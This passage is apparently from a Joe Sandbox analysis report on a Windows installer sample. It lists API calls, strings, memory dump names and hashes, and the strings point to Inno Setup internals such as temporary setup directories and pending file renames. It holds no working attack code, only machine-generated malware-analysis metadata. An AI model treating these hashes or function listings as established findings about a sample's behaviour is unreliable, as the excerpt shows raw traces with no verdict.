                                                                                          • API ID: ClipboardFormatRegister$AtomCurrentGlobalThread
                                                                                          • String ID: WndProcPtr%.8X%.8X$commdlg_FindReplace$commdlg_help
                                                                                          • API String ID: 4130936913-2943970505
                                                                                          • Opcode ID: 8a088dfdc0b2c62b7d21c5c596ec815df7ae76573c78c741c8a86d6eee6cb681
                                                                                          • Instruction ID: 0bd92e6c8c1c5a5b8444157758b44b4e11dae02c37acc47d2edddbd1fb793b69
                                                                                          • Opcode Fuzzy Hash: 8a088dfdc0b2c62b7d21c5c596ec815df7ae76573c78c741c8a86d6eee6cb681
                                                                                          • Instruction Fuzzy Hash: 22F012B0458340DEE300EB65994271E7BD0EF58718F50467FF498A6392D7795904CB5F
                                                                                          APIs
                                                                                          • GetLastError.KERNEL32(?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,0045522C,0045522C,?,0045522C,00000000), ref: 004551BA
                                                                                          • CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,0045522C,0045522C,?,0045522C), ref: 004551C7
                                                                                            • Part of subcall function 00454F7C: WaitForInputIdle.USER32(?,00000032), ref: 00454FA8
                                                                                            • Part of subcall function 00454F7C: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00454FCA
                                                                                            • Part of subcall function 00454F7C: GetExitCodeProcess.KERNEL32(?,?), ref: 00454FD9
                                                                                            • Part of subcall function 00454F7C: CloseHandle.KERNEL32(?,00455006,00454FFF,?,?,?,00000000,?,?,004551DB,?,?,?,00000044,00000000,00000000), ref: 00454FF9
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseHandleWait$CodeErrorExitIdleInputLastMultipleObjectsProcess
                                                                                          • String ID: .bat$.cmd$COMMAND.COM" /C $D$cmd.exe" /C "
                                                                                          • API String ID: 854858120-615399546
                                                                                          • Opcode ID: 5ea26466aa0b1bd12af3311b8e232ebea4e464fdb3bb6eef9ccee3db0f285c88
                                                                                          • Instruction ID: 058baa7e90e176347c833b132b7c272bf8058e823d6e061bdbf2f6311869cd9e
                                                                                          • Opcode Fuzzy Hash: 5ea26466aa0b1bd12af3311b8e232ebea4e464fdb3bb6eef9ccee3db0f285c88
                                                                                          • Instruction Fuzzy Hash: 41516D34B0074DABCF10EFA5D852BDEBBB9AF44305F50447BB804B7292D7789A098B59
                                                                                          APIs
                                                                                          • LoadIconA.USER32(00400000,MAINICON), ref: 0042371C
                                                                                          • GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 00423749
                                                                                          • OemToCharA.USER32(?,?), ref: 0042375C
                                                                                          • CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 0042379C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Char$FileIconLoadLowerModuleName
                                                                                          • String ID: 2$MAINICON
                                                                                          • API String ID: 3935243913-3181700818
                                                                                          • Opcode ID: a0d1a492a3e1df344d79b5ede7937f80cf878dadafa44837ceada302c6d607ca
                                                                                          • Instruction ID: 339a64ebbf2375270c19ef2cfa2d714624ee8dcb7e06b01b5ae6522dc3b50067
                                                                                          • Opcode Fuzzy Hash: a0d1a492a3e1df344d79b5ede7937f80cf878dadafa44837ceada302c6d607ca
                                                                                          • Instruction Fuzzy Hash: 243181B0A042549ADF10EF29D8C57C67BA8AF14308F4441BAE844DB393D7BED988CB59
                                                                                          APIs
                                                                                          • GetCurrentProcessId.KERNEL32(00000000), ref: 00418F3D
                                                                                          • GlobalAddAtomA.KERNEL32(00000000), ref: 00418F5E
                                                                                          • GetCurrentThreadId.KERNEL32 ref: 00418F79
                                                                                          • GlobalAddAtomA.KERNEL32(00000000), ref: 00418F9A
                                                                                            • Part of subcall function 004230C8: GetDC.USER32(00000000), ref: 0042311E
                                                                                            • Part of subcall function 004230C8: EnumFontsA.GDI32(00000000,00000000,00423068,00410460,00000000,?,?,00000000,?,00418FD3,00000000,?,?,?,00000001), ref: 00423131
                                                                                            • Part of subcall function 004230C8: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00423139
                                                                                            • Part of subcall function 004230C8: ReleaseDC.USER32(00000000,00000000), ref: 00423144
                                                                                            • Part of subcall function 0042368C: LoadIconA.USER32(00400000,MAINICON), ref: 0042371C
                                                                                            • Part of subcall function 0042368C: GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 00423749
                                                                                            • Part of subcall function 0042368C: OemToCharA.USER32(?,?), ref: 0042375C
                                                                                            • Part of subcall function 0042368C: CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 0042379C
                                                                                            • Part of subcall function 0041F118: GetVersion.KERNEL32(?,00418FF0,00000000,?,?,?,00000001), ref: 0041F126
                                                                                            • Part of subcall function 0041F118: SetErrorMode.KERNEL32(00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F142
                                                                                            • Part of subcall function 0041F118: LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F14E
                                                                                            • Part of subcall function 0041F118: SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F15C
                                                                                            • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F18C
                                                                                            • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F1B5
                                                                                            • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F1CA
                                                                                            • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F1DF
                                                                                            • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F1F4
                                                                                            • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F209
                                                                                            • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F21E
                                                                                            • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F233
                                                                                            • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F248
                                                                                            • Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F25D
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$AtomCharCurrentErrorGlobalLoadMode$CapsDeviceEnumFileFontsIconLibraryLowerModuleNameProcessReleaseThreadVersion
                                                                                          • String ID: ControlOfs%.8X%.8X$Delphi%.8X
                                                                                          • API String ID: 316262546-2767913252
                                                                                          • Opcode ID: b417f06b73a7dba032b12b865c8ed9bc6bb92a8bfb887f153b822e9fb73695be
                                                                                          • Instruction ID: d883a59e21ed3b4d0722d018b4a025de81f9e45e1fd093e44b5ebaba0e30331f
                                                                                          • Opcode Fuzzy Hash: b417f06b73a7dba032b12b865c8ed9bc6bb92a8bfb887f153b822e9fb73695be
                                                                                          • Instruction Fuzzy Hash: AC115E706142419AD740FF76A94235A7BE1DF64308F40943FF448A7391DB3DA9448B5F
                                                                                          APIs
                                                                                          • SetWindowLongA.USER32(?,000000FC,?), ref: 00413664
                                                                                          • GetWindowLongA.USER32(?,000000F0), ref: 0041366F
                                                                                          • GetWindowLongA.USER32(?,000000F4), ref: 00413681
                                                                                          • SetWindowLongA.USER32(?,000000F4,?), ref: 00413694
                                                                                          • SetPropA.USER32(?,00000000,00000000), ref: 004136AB
                                                                                          • SetPropA.USER32(?,00000000,00000000), ref: 004136C2
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: LongWindow$Prop
                                                                                          • String ID:
                                                                                          • API String ID: 3887896539-0
                                                                                          • Opcode ID: 7846fecbe383e6d7fdaea4169180c186d89bab15e88d328ea810806c298c4441
                                                                                          • Instruction ID: 06abc153636d574f2b9d5b42ed2ef1d3d1989bf2b09c04f5b7aa0ee96fd2bcf7
                                                                                          • Opcode Fuzzy Hash: 7846fecbe383e6d7fdaea4169180c186d89bab15e88d328ea810806c298c4441
                                                                                          • Instruction Fuzzy Hash: 1011C975100244BFEF00DF9DDC84EDA37E8EB19364F144666B958DB2A2D738DD908B68
                                                                                          APIs
                                                                                            • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,;H,?,00000001,?,?,00483BE3,?,00000001,00000000), ref: 0042DE38
                                                                                          • RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,0045586F,?,00000000,004558AF), ref: 004557B5
                                                                                          Strings
                                                                                          • WININIT.INI, xrefs: 004557E4
                                                                                          • PendingFileRenameOperations2, xrefs: 00455784
                                                                                          • PendingFileRenameOperations, xrefs: 00455754
                                                                                          • SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00455738
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseOpen
                                                                                          • String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager$WININIT.INI
                                                                                          • API String ID: 47109696-2199428270
                                                                                          • Opcode ID: 430bb035026106b65f85e2b07525b73901b650abba9068f13605831850c1f819
                                                                                          • Instruction ID: 0fa1da25f67206326559771d92c7e47b52ca8d856d575cc5f046ac455f5bab2a
                                                                                          • Opcode Fuzzy Hash: 430bb035026106b65f85e2b07525b73901b650abba9068f13605831850c1f819
                                                                                          • Instruction Fuzzy Hash: FF51A974E006089FDB10EF61DC51AEEB7B9EF44305F50857BEC04A7292DB78AE49CA58
                                                                                          APIs
                                                                                          • CreateDirectoryA.KERNEL32(00000000,00000000,00000000,0047CCEA,?,?,00000000,0049B628,00000000,00000000,?,00498539,00000000,004986E2,?,00000000), ref: 0047CC27
                                                                                          • GetLastError.KERNEL32(00000000,00000000,00000000,0047CCEA,?,?,00000000,0049B628,00000000,00000000,?,00498539,00000000,004986E2,?,00000000), ref: 0047CC30
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateDirectoryErrorLast
                                                                                          • String ID: Created temporary directory: $\_setup64.tmp$_isetup
                                                                                          • API String ID: 1375471231-2952887711
                                                                                          • Opcode ID: 18b8a6295044c03030742dd0e1a53df86680db30ea117cbe65252b99daff8b31
                                                                                          • Instruction ID: e6577b7b61f0e0a35e690824fc442bae28cfcbc8f9cba78cd8161ab2dbd6b5d1
                                                                                          • Opcode Fuzzy Hash: 18b8a6295044c03030742dd0e1a53df86680db30ea117cbe65252b99daff8b31
                                                                                          • Instruction Fuzzy Hash: E6412834A001099BDB11EFA5D882ADEB7B5EF45309F50843BE81577392DA38AE05CF68
                                                                                          APIs
                                                                                          • EnumWindows.USER32(00423A1C), ref: 00423AA8
                                                                                          • GetWindow.USER32(?,00000003), ref: 00423ABD
                                                                                          • GetWindowLongA.USER32(?,000000EC), ref: 00423ACC
                                                                                          • SetWindowPos.USER32(00000000,\AB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,004241AB,?,?,00423D73), ref: 00423B02
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$EnumLongWindows
                                                                                          • String ID: \AB
                                                                                          • API String ID: 4191631535-3948367934
                                                                                          • Opcode ID: 1f387ac1e946b45dcea70a74dde1e3cf145931a60cd8f654a7309261af8d74ee
                                                                                          • Instruction ID: 3ad81c14f5822e14e615a382c86082b2427cd388a5bf15486a3129e996868218
                                                                                          • Opcode Fuzzy Hash: 1f387ac1e946b45dcea70a74dde1e3cf145931a60cd8f654a7309261af8d74ee
                                                                                          • Instruction Fuzzy Hash: D6115E70700610ABDB109F28E885F5677E8EB08715F10026AF994AB2E3C378ED41CB59
                                                                                          APIs
                                                                                          • RegDeleteKeyA.ADVAPI32(00000000,00000000), ref: 0042DE50
                                                                                          • GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,?,00000000,0042DFEB,00000000,0042E003,?,?,?,?,00000006,?,00000000,0049785D), ref: 0042DE6B
                                                                                          • GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042DE71
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressDeleteHandleModuleProc
                                                                                          • String ID: RegDeleteKeyExA$advapi32.dll
                                                                                          • API String ID: 588496660-1846899949
                                                                                          • Opcode ID: ed1542cdc99e60fdc1e6205037aed1b156b4601bf62b1d4fa5b097ff81e7402e
                                                                                          • Instruction ID: e7246de0df94fba710dd2820c0ca51643d5dd29c3ac0bea476bad59fd0e01b91
                                                                                          • Opcode Fuzzy Hash: ed1542cdc99e60fdc1e6205037aed1b156b4601bf62b1d4fa5b097ff81e7402e
                                                                                          • Instruction Fuzzy Hash: 73E06DF1B41B30AAD72022657C8ABA33729DB75365F658437F105AD19183FC2C50CE9D
                                                                                          Strings
                                                                                          • PrepareToInstall failed: %s, xrefs: 0046BE6E
                                                                                          • NextButtonClick, xrefs: 0046BC4C
                                                                                          • Need to restart Windows? %s, xrefs: 0046BE95
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: Need to restart Windows? %s$NextButtonClick$PrepareToInstall failed: %s
                                                                                          • API String ID: 0-2329492092
                                                                                          • Opcode ID: bdd1d04c3163942a70fe70ce9c3da0cdba0d450c43b562cfb8d9ec13df8274e7
                                                                                          • Instruction ID: 9de4db1b3e70fdebeced0fe060001c857bcfdee1b2562a0b259a97201065334e
                                                                                          • Opcode Fuzzy Hash: bdd1d04c3163942a70fe70ce9c3da0cdba0d450c43b562cfb8d9ec13df8274e7
                                                                                          • Instruction Fuzzy Hash: 46D12F34A00108DFCB14EB99D985AED77F5EF49304F5440BAE404EB362D778AE85CB9A
                                                                                          APIs
                                                                                          • SetActiveWindow.USER32(?,?,00000000,004833D5), ref: 004831A8
                                                                                          • SHChangeNotify.SHELL32(08000000,00000000,00000000,00000000), ref: 00483246
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ActiveChangeNotifyWindow
                                                                                          • String ID: $Need to restart Windows? %s
                                                                                          • API String ID: 1160245247-4200181552
                                                                                          • Opcode ID: 00647651f2966e2d6c0ac7b0a33bca8c0b176202d01056079f53a530b7b0addf
                                                                                          • Instruction ID: 855c298393525188f16043e43c8caa20abfdb27870bda8f6eb76b0fac02994d3
                                                                                          • Opcode Fuzzy Hash: 00647651f2966e2d6c0ac7b0a33bca8c0b176202d01056079f53a530b7b0addf
                                                                                          • Instruction Fuzzy Hash: 7E918F34A042449FDB10EF69D8C6BAD77E0AF55708F5484BBE8009B362DB78AE05CB5D
                                                                                          APIs
                                                                                            • Part of subcall function 0042C804: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C828
                                                                                          • GetLastError.KERNEL32(00000000,0046FCD9,?,?,0049C1E0,00000000), ref: 0046FBB6
                                                                                          • SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 0046FC30
                                                                                          • SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 0046FC55
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ChangeNotify$ErrorFullLastNamePath
                                                                                          • String ID: Creating directory: %s
                                                                                          • API String ID: 2451617938-483064649
                                                                                          • Opcode ID: 1aeec9fc70de36e1ff09abf6a814cf31666cc4aa73152690207cd024c9806782
                                                                                          • Instruction ID: a145aa70eb484b5d007d33f2831cd5d1f219efd535f83afbcf26a903565c5eea
                                                                                          • Opcode Fuzzy Hash: 1aeec9fc70de36e1ff09abf6a814cf31666cc4aa73152690207cd024c9806782
                                                                                          • Instruction Fuzzy Hash: 7D512F74E00248ABDB01DBA5D982ADEBBF4AF49304F50847AEC50B7382D7795E08CB59
                                                                                          APIs
                                                                                          • GetProcAddress.KERNEL32(00000000,SfcIsFileProtected), ref: 00454E82
                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,00454F48), ref: 00454EEC
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressByteCharMultiProcWide
                                                                                          • String ID: SfcIsFileProtected$sfc.dll
                                                                                          • API String ID: 2508298434-591603554
                                                                                          • Opcode ID: bb559eb6b427547f50ac361efa45694dce53a5facbc0d321e4ca2111cb35c873
                                                                                          • Instruction ID: 709c5f55a6f5f8285c9c61fd8393730e8027effee09c5548c71846991cac34f0
                                                                                          • Opcode Fuzzy Hash: bb559eb6b427547f50ac361efa45694dce53a5facbc0d321e4ca2111cb35c873
                                                                                          • Instruction Fuzzy Hash: E8419671A04318DBEB20EF59DC85B9DB7B8AB4430DF5041B7A908A7293D7785F88CA1C
                                                                                          APIs
                                                                                          • 74D31520.VERSION(00000000,?,?,?,00497900), ref: 00452530
                                                                                          • 74D31500.VERSION(00000000,?,00000000,?,00000000,004525AB,?,00000000,?,?,?,00497900), ref: 0045255D
                                                                                          • 74D31540.VERSION(?,004525D4,?,?,00000000,?,00000000,?,00000000,004525AB,?,00000000,?,?,?,00497900), ref: 00452577
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: D31500D31520D31540
                                                                                          • String ID: %E
                                                                                          • API String ID: 1003763464-175436132
                                                                                          • Opcode ID: f18440ec30d6a8502c14f0dca7f1c7caee1af709ad5b943411f89d38bbe9f821
                                                                                          • Instruction ID: f5dca5bfdad9659449235e2d7a4f424f1fde127461be4d93bb02e754cc996b3f
                                                                                          • Opcode Fuzzy Hash: f18440ec30d6a8502c14f0dca7f1c7caee1af709ad5b943411f89d38bbe9f821
                                                                                          • Instruction Fuzzy Hash: D2218331A00608BFDB01DAA989519AFB7FCEB4A300F554477F800E7242E6B9AE04C765
                                                                                          APIs
                                                                                          • GetDC.USER32(00000000), ref: 0044B401
                                                                                          • SelectObject.GDI32(?,00000000), ref: 0044B424
                                                                                          • ReleaseDC.USER32(00000000,?), ref: 0044B457
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
